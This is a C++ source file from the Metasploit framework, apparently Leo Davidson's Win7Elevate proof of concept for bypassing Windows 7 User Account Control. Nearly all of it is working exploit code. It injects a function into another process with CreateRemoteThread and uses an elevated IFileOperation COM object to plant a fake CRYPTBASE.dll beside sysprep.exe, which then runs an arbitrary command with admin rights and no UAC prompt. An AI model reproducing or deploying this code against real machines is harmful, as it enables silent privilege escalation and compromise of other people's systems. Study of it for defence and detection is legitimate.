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metasploit-framework/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp

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#include "stdafx.h"
#include "Win7Elevate_Utils.h"
#include "Win7Elevate_Inject.h"
#include ".\..\CMMN.h"
// All code (except for GetElevationType) (C) Leo Davidson, 8th February 2009, all rights reserved.
// (Minor tidy-up 12th June 2009 for the code's public release.)
// http://www.pretentiousname.com
// leo@ox.compsoc.net
//
// Using any part of this code for malicious purposes is expressly forbidden.
//
// This proof-of-concept code is intended only to demonstrate that code-injection
// poses a real problem with the default UAC settings in Windows 7 (tested with RC1 build 7100).
struct InjectArgs
{
BOOL (WINAPI *fpFreeLibrary)(HMODULE hLibModule);
HMODULE (WINAPI *fpLoadLibrary)(LPCWSTR lpLibFileName);
FARPROC (WINAPI *fpGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
BOOL (WINAPI *fpCloseHandle)(HANDLE);
DWORD (WINAPI *fpWaitForSingleObject)(HANDLE,DWORD);
const wchar_t *szSourceDll;
const wchar_t *szElevDir;
const wchar_t *szElevDll;
const wchar_t *szElevDllFull;
const wchar_t *szElevExeFull;
wchar_t *szElevArgs; // Not const because of CreateProcess's in-place buffer modification. It's really not const so this is fine. (We don't use CreateProcess anymore but it doesn't hurt to keep this non-const just in case.)
const wchar_t *szEIFOMoniker; // szElevatedIFileOperationMoniker
const IID *pIID_EIFOClass;
const IID *pIID_EIFO;
const IID *pIID_ShellItem2;
const IID *pIID_Unknown;
const wchar_t *szShell32;
const wchar_t *szOle32;
const char *szCoInitialize;
const char *szCoUninitialize;
const char *szCoGetObject;
const char *szCoCreateInstance;
const char *szSHCreateItemFPN; // SHCreateItemFromParsingName
const char *szShellExecuteExW;
};
static DWORD WINAPI RemoteCodeFunc(LPVOID lpThreadParameter)
{
// This is the injected code of "part 1."
// As this code is copied into another process it cannot refer to any static data (i.e. no string, GUID, etc. constants)
// and it can only directly call functions that are within Kernel32.dll (which is all we need as it lets us call
// LoadLibrary and GetProcAddress). The data we need (strings, GUIDs, etc.) is copied into the remote process and passed to
// us in our InjectArgs structure.
// The compiler settings are important. You have to ensure that RemoteCodeFunc doesn't do any stack checking (since it
// involves a call into the CRT which may not exist (in the same place) in the target process) and isn't made inline
// or anything like that. (Compiler optimizations are best turned off.) You need RemoteCodeFunc to be compiled into a
// contiguous chunk of assembler that calls/reads/writes nothing except its own stack variables and what is passed to it via pArgs.
// It's also important that all asm jump instructions in this code use relative addressing, not absolute. Jumps to absolute
// addresses will not be valid after the code is copied to a different address in the target process. Visual Studio seems
// to use absolute addresses sometimes and relative ones at other times and I'm not sure what triggers one or the other. For example,
// I had a problem with it turning a lot of the if-statements in this code into absolute jumps when compiled for 32-bit and that
// seemed to go away when I set the Release build to generate a PDF file, but then they came back again.
// I never had this problem in February, and 64-bit builds always seem fine, but now in June I'm getting the problem with 32-bit
// builds on my main machine. However, if I switch to the older compiler install and older Windows SDK that I have on another machine
// it always builds a working 32-bit (and 64-bit) version, just like it used to. So I guess something in the compiler/SDK has triggered
// this change but I don't know what. It could just be that things have moved around in memory due to a structure size change and that's
// triggering the different modes... I don't know!
//
// So if the 32-bit version crashes the process you inject into, you probably need to work out how to convince the compiler
// to generate the code it used to in February. :) Or you could write some code to fix up the jump instructions after copying them,
// or hand-code the 32-bit asm (seems you can ignore 64-bit as it always works so far), or find a style of if-statement (or equivalent)
// that always generates relative jumps, or whatever...
//
// Take a look at the asm_code_issue.png image that comes with the source to see what the absolute and relative jumps look like.
//
// PS: I've never written Intel assembler, and it's many years since I've hand-written any type of assembler, so I may have the wrong end
// of the stick about some of this! Either way, 32-bit version works when built on my older compiler/SDK install and usually doesn't on
// the newer install.
InjectArgs * pArgs = reinterpret_cast< InjectArgs * >(lpThreadParameter);
// Use an elevated FileOperation object to copy a file to a protected folder.
// If we're in a process that can do silent COM elevation then we can do this without any prompts.
HMODULE hModuleOle32 = pArgs->fpLoadLibrary(pArgs->szOle32);
HMODULE hModuleShell32 = pArgs->fpLoadLibrary(pArgs->szShell32);
if (hModuleOle32
&& hModuleShell32)
{
// Load the non-Kernel32.dll functions that we need.
W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPVOID pvReserved) >
tfpCoInitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoInitialize );
W7EUtils::GetProcAddr< void (STDAPICALLTYPE *)(void) >
tfpCoUninitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoUninitialize );
W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) >
tfpCoGetObject( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoGetObject );
W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) >
tfpCoCreateInstance( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoCreateInstance );
W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) >
tfpSHCreateItemFromParsingName( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szSHCreateItemFPN );
W7EUtils::GetProcAddr< BOOL (STDAPICALLTYPE *)(LPSHELLEXECUTEINFOW lpExecInfo) >
tfpShellExecuteEx( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szShellExecuteExW );
if (0 != tfpCoInitialize.f
&& 0 != tfpCoUninitialize.f
&& 0 != tfpCoGetObject.f
&& 0 != tfpCoCreateInstance.f
&& 0 != tfpSHCreateItemFromParsingName.f
&& 0 != tfpShellExecuteEx.f)
{
if (S_OK == tfpCoInitialize.f(NULL))
{
BIND_OPTS3 bo;
for(int i = 0; i < sizeof(bo); ++i) { reinterpret_cast< BYTE * >(&bo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs.
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// For testing other COM objects/methods, start here.
{
IFileOperation *pFileOp = 0;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
// This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection.
if (
(pArgs->szEIFOMoniker && S_OK == tfpCoGetObject.f( pArgs->szEIFOMoniker, &bo, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)))
|| (pArgs->pIID_EIFOClass && S_OK == tfpCoCreateInstance.f( *pArgs->pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER|CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)))
)
if (0 != pFileOp)
if (S_OK == pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION))
if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szSourceDll, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)))
if (0 != pSHISource)
if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDir, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)))
if (0 != pSHIDestination)
if (S_OK == pFileOp->CopyItem(pSHISource, pSHIDestination, pArgs->szElevDll, NULL))
if (S_OK == pFileOp->PerformOperations())
{
// Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call.
// (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.)
SHELLEXECUTEINFO shinfo;
for(int i = 0; i < sizeof(shinfo); ++i) { reinterpret_cast< BYTE * >(&shinfo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs.
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = pArgs->szElevExeFull;
shinfo.lpParameters = pArgs->szElevArgs;
shinfo.lpDirectory = pArgs->szElevDir;
shinfo.nShow = SW_SHOW;
if (tfpShellExecuteEx.f(&shinfo) && shinfo.hProcess != NULL)
{
// Wait for the "part 2" target process to finish.
pArgs->fpWaitForSingleObject(shinfo.hProcess, INFINITE);
pArgs->fpCloseHandle(shinfo.hProcess);
}
// Another standard call to IFileOperation, this time to delete our dummy DLL. We clean up our mess.
if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDllFull, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDelete)))
if (0 != pSHIDelete)
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
}
}
if (pSHIDelete) { pSHIDelete->Release(); }
if (pSHIDestination) { pSHIDestination->Release(); }
if (pSHISource) { pSHISource->Release(); }
if (pFileOp) { pFileOp->Release(); }
}
tfpCoUninitialize.f();
}
}
}
if (hModuleShell32) { pArgs->fpFreeLibrary(hModuleShell32); }
if (hModuleOle32) { pArgs->fpFreeLibrary(hModuleOle32); }
return 0;
}
// Marks the end of the function so we know how much data to copy.
volatile static void DummyRemoteCodeFuncEnd()
{
}
void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD dwPid, const wchar_t *szProcName,
const wchar_t *szCmd, const wchar_t *szArgs, const wchar_t *szDir,
const wchar_t *szPathToOurDll,
DWORD (__stdcall *Redirector)(void))
{
bool bThreadWaitSuccess = false;
bool bThreadWaitFailure = false;
HANDLE hTargetProc = NULL;
const BYTE * codeStartAdr = reinterpret_cast< const BYTE * >( &RemoteCodeFunc );
const BYTE * codeEndAdr = reinterpret_cast< const BYTE * >( &DummyRemoteCodeFuncEnd );
if (codeStartAdr >= codeEndAdr)
{
//MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Unexpected function layout");
return;
}
wchar_t szPathToSelf[MAX_PATH];
DWORD dwGMFNRes = GetModuleFileName(NULL, szPathToSelf, _countof(szPathToSelf));
if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf))
{
//MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Couldn't get path to self");
return;
}
wchar_t szProgramFiles[MAX_PATH];
HRESULT hr = SHGetFolderPath(NULL, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, szProgramFiles);
if (S_OK != hr)
{
//MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"SHGetFolderPath failed");
return;
}
HMODULE hModKernel32 = LoadLibrary(L"kernel32.dll");
if (hModKernel32 == 0)
{
//MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Couldn't load kernel32.dll");
return;
}
W7EUtils::GetProcAddr< BOOL (WINAPI *)(HMODULE) > tfpFreeLibrary( &GetProcAddress, hModKernel32, "FreeLibrary");
W7EUtils::GetProcAddr< HMODULE (WINAPI *)(LPCWSTR) > tfpLoadLibrary( &GetProcAddress, hModKernel32, "LoadLibraryW");
W7EUtils::GetProcAddr< FARPROC (WINAPI *)(HMODULE, LPCSTR) > tfpGetProcAddress( &GetProcAddress, hModKernel32, "GetProcAddress");
W7EUtils::GetProcAddr< BOOL (WINAPI *)(HANDLE) > tfpCloseHandle( &GetProcAddress, hModKernel32, "CloseHandle");
W7EUtils::GetProcAddr< DWORD (WINAPI *)(HANDLE,DWORD) > tfpWaitForSingleObject( &GetProcAddress, hModKernel32, "WaitForSingleObject");
if (0 == tfpFreeLibrary.f
|| 0 == tfpLoadLibrary.f
|| 0 == tfpGetProcAddress.f
|| 0 == tfpCloseHandle.f
|| 0 == tfpWaitForSingleObject.f)
{
//MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Couldn't find API");
}
else
{
// Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't
// directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list.
// If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one.
const wchar_t *szElevDir = L"C:\\Windows\\System32\\sysprep";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szElevDllFull = L"C:\\Windows\\System32\\sysprep\\CRYPTBASE.dll";
const wchar_t *szElevExeFull = L"C:\\Windows\\System32\\sysprep\\sysprep.exe";
std::wstring strElevArgs = L"\"";
// strElevArgs += szElevExeFull;
// strElevArgs += L"\" \"";
strElevArgs += szCmd;
strElevArgs += L"\" \"";
strElevArgs += szDir;
strElevArgs += L"\" \"";
for (const wchar_t *pCmdArgChar = szArgs; *szArgs; ++szArgs)
{
if (*szArgs != L'\"')
{
strElevArgs += *szArgs;
}
else
{
strElevArgs += L"\"\"\""; // Turn each quote into three to preserve them in the arguments.
}
}
strElevArgs += L"\"";
if (!bInject)
{
// Test code without remoting.
// This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin.
// Satisfy CreateProcess's non-const args requirement
wchar_t *szElevArgsNonConst = new wchar_t[strElevArgs.length() + 1];
wcscpy_s(szElevArgsNonConst, strElevArgs.length() + 1, strElevArgs.c_str());
InjectArgs ia;
ia.fpFreeLibrary = tfpFreeLibrary.f;
ia.fpLoadLibrary = tfpLoadLibrary.f;
ia.fpGetProcAddress = tfpGetProcAddress.f;
ia.fpCloseHandle = tfpCloseHandle.f;
ia.fpWaitForSingleObject = tfpWaitForSingleObject.f;
ia.szSourceDll = szPathToOurDll;
ia.szElevDir = szElevDir;
ia.szElevDll = szElevDll;
ia.szElevDllFull = szElevDllFull;
ia.szElevExeFull = szElevExeFull;
ia.szElevArgs = szElevArgsNonConst;
ia.szShell32 = L"shell32.dll";
ia.szOle32 = L"ole32.dll";
ia.szCoInitialize = "CoInitialize";
ia.szCoUninitialize = "CoUninitialize";
ia.szCoGetObject = "CoGetObject";
ia.szCoCreateInstance = "CoCreateInstance";
ia.szSHCreateItemFPN = "SHCreateItemFromParsingName";
ia.szShellExecuteExW = "ShellExecuteExW";
ia.szEIFOMoniker = bElevate ? L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" : NULL;
ia.pIID_EIFOClass = bElevate ? NULL : &__uuidof(FileOperation);
ia.pIID_EIFO = &__uuidof(IFileOperation);
ia.pIID_ShellItem2 = &__uuidof(IShellItem2);
ia.pIID_Unknown = &__uuidof(IUnknown);
RemoteCodeFunc(&ia);
delete[] szElevArgsNonConst;
}
else if (W7EUtils::OpenProcessToInject(hWnd, &hTargetProc, dwPid, szProcName))
{
// Test code with remoting.
// At least as of RC1 build 7100, with the default OS settings, this will run the specified command
// with elevation but without triggering a UAC prompt.
// Scope CRemoteMemory so it's destroyed before the process handle is closed.
{
W7EUtils::CRemoteMemory reme(hTargetProc);
InjectArgs ia;
// ASSUMPTION: Remote process has same ASLR setting as us (i.e. ASLR = on)
// kernel32.dll is mapped to the same address range in both processes.
ia.fpFreeLibrary = tfpFreeLibrary.f;
ia.fpLoadLibrary = tfpLoadLibrary.f;
ia.fpGetProcAddress = tfpGetProcAddress.f;
ia.fpCloseHandle = tfpCloseHandle.f;
ia.fpWaitForSingleObject = tfpWaitForSingleObject.f;
// It would be more efficient to allocate and copy the data in one
// block but since this is just a proof-of-concept I don't bother.
ia.szSourceDll = reme.AllocAndCopyMemory(szPathToOurDll);
ia.szElevDir = reme.AllocAndCopyMemory(szElevDir);
ia.szElevDll = reme.AllocAndCopyMemory(szElevDll);
ia.szElevDllFull = reme.AllocAndCopyMemory(szElevDllFull);
ia.szElevExeFull = reme.AllocAndCopyMemory(szElevExeFull);
ia.szElevArgs = reme.AllocAndCopyMemory(strElevArgs.c_str(), false); // Leave this page writeable for CreateProcess.
ia.szShell32 = reme.AllocAndCopyMemory(L"shell32.dll");
ia.szOle32 = reme.AllocAndCopyMemory(L"ole32.dll");
ia.szCoInitialize = reme.AllocAndCopyMemory("CoInitialize");
ia.szCoUninitialize = reme.AllocAndCopyMemory("CoUninitialize");
ia.szCoGetObject = reme.AllocAndCopyMemory("CoGetObject");
ia.szCoCreateInstance = reme.AllocAndCopyMemory("CoCreateInstance");
ia.szSHCreateItemFPN = reme.AllocAndCopyMemory("SHCreateItemFromParsingName");
ia.szShellExecuteExW = reme.AllocAndCopyMemory("ShellExecuteExW");
ia.szEIFOMoniker = bElevate ? reme.AllocAndCopyMemory(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}") : NULL;
ia.pIID_EIFOClass = bElevate ? NULL : reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(FileOperation), sizeof(__uuidof(FileOperation)), false) );
ia.pIID_EIFO = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IFileOperation), sizeof(__uuidof(IFileOperation)), false) );
ia.pIID_ShellItem2 = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IShellItem2), sizeof(__uuidof(IShellItem2)), false) );
ia.pIID_Unknown = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IUnknown), sizeof(__uuidof(IUnknown)), false) );
void *pRemoteArgs = reme.AllocAndCopyMemory(&ia, sizeof(ia), false);
void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true);
if (reme.AnyFailures())
{
//MessageBox(hWnd, L"Remote allocation failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Remote allocation failed");
}
else
{
HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL);
if (hRemoteThread == 0)
{
//MessageBox(hWnd, L"Couldn't create remote thread", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(
CError::Format(
GetLastError(),
L"Couldn't create remote thread",
L"CreateRemoteThread"));
}
else
{
if ( Redirector )
Redirector();
while(true)
{
DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 10000);
if (dwWaitRes == WAIT_OBJECT_0)
{
bThreadWaitSuccess = true;
break;
}
else if (dwWaitRes != WAIT_TIMEOUT)
{
bThreadWaitFailure = true;
break;
}
//else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION))
else
{
CLogger::LogLine(L"Continue waiting for remote thread to complete? : NO");
// See if it completed before the user asked to stop waiting.
// Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI.
if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0))
{
bThreadWaitSuccess = true;
}
break;
}
}
if (!bThreadWaitSuccess)
{
// The memory in the other process could still be in use.
// Freeing it now will almost certainly crash the other process.
// Letting it leak is the lesser of two evils...
reme.LeakMemory();
}
}
}
}
CloseHandle(hTargetProc);
}
}
FreeLibrary(hModKernel32);
if (bThreadWaitFailure)
{
//MessageBox(hWnd, L"Error waiting on the remote thread to complete", L"Win7Elevate", MB_OK | MB_ICONWARNING);
CLogger::LogLine(L"Error waiting on the remote thread to complete");
}
else if (bThreadWaitSuccess)
{
//MessageBox(hWnd, L"Remote thread completed", L"Win7Elevate", MB_OK | MB_ICONINFORMATION);
CLogger::LogLine(L"Remote thread completed");
}
}
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